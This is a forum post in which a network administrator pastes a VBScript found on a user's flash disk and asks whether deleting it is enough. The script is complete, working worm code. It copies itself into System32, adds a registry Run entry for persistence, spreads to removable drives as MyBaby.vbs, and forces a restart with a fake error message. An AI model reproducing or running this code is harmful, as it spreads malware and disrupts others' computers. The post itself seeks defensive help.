Hi, one of my network users found the script below in their flash disk and ran it. Immediately the computer restarted. Can someone tell me if deleting it is enough or there is cause of more worry?
Set WShell = CreateObject(“WScript.Shell”)
startupRegKey = “HKEY_LOCAL_MACHINE\SOFtWARE\Microsoft\Windows\CurrentVersion\Run\SysChk”
set FileSysObj = CreateObject(“Scripting.FilesystemObject”)
Set sys32DirObj = FileSysObj.GetSpecialFolder(1)
entryPoint
Sub entryPoint()
sys32DirName = CStr(sys32DirObj)
scriptFullName = wscript.scriptfullname
if instr(scriptFullName,sys32DirName) then
do
getDrvs
wscript.sleep 120000
Loop
Else
if (FileSysObj.fileexists(sys32DirObj & “\Hummer.vbs”))=false Then
copyToFol sys32DirObj,”Hummer”
register sys32DirObj
End If
end if
getDrvs
if (FileSysObj.fileexists(sys32DirObj & “\Hummer.vbs”)) Then
Else
CopyToFol sys32DirObj,”Hummer”
register sys32DirObj
end if
end sub
sub getDrvs()
Dim FSObj, drv, dArray
Set FSObj = CreateObject(“Scripting.FileSystemObject”)
Set dArray = FSObj.Drives
For Each drv in dArray
vdrv = drv.Driveletter & “:”
drvType= getRemovable(vdrv)
if drvType =”Removable” and drv.isReady then
if not (FSObj.fileexists(vdrv & “\MyBaby.vbs”)) then
copyToFol vdrv,”MyBaby”
end If
end if
Next
End Sub
Function getRemovable(drvpath)
Dim FSObj, AbsDrvName, t
Set FSObj = CreateObject(“Scripting.FileSystemObject”)
Set AbsDrvName = FSObj.GetDrive(FSObj.GetDriveName(FSObj.GetAbsolutePathName(drvpath)))
Select Case AbsDrvName.DriveType
Case 0: t = “Unknown”
Case 1: t = “Removable”
Case 2: t = “Fixed”
Case 3: t = “Remote”
Case 4: t = “CD-ROM”
Case 5: t = “RAM Disk”
End Select
getRemovable = t
End Function
Sub register(system32)
set WShell = CreateObject(“WScript.Shell”)
if (FileSysObj.fileexists(system32 & “\Hummer.vbs”)) Then
WShell.regwrite startupRegKey, system32 & “\Hummer.vbs”
End If
end Sub
Sub copyToFol(x,name)
file = Wscript.ScriptFullName
FIleSysObj.copyfile file, x & “\” & name & “.vbs”
end sub
Dim command
command = “shutdown.exe -r -t 30 -c ” & Chr(34) & “An error has occured. You have 30 seconds to save all your work.” & Chr(34)
WShell.run command
It had a .vbs extension.
Regards,
Steve Biko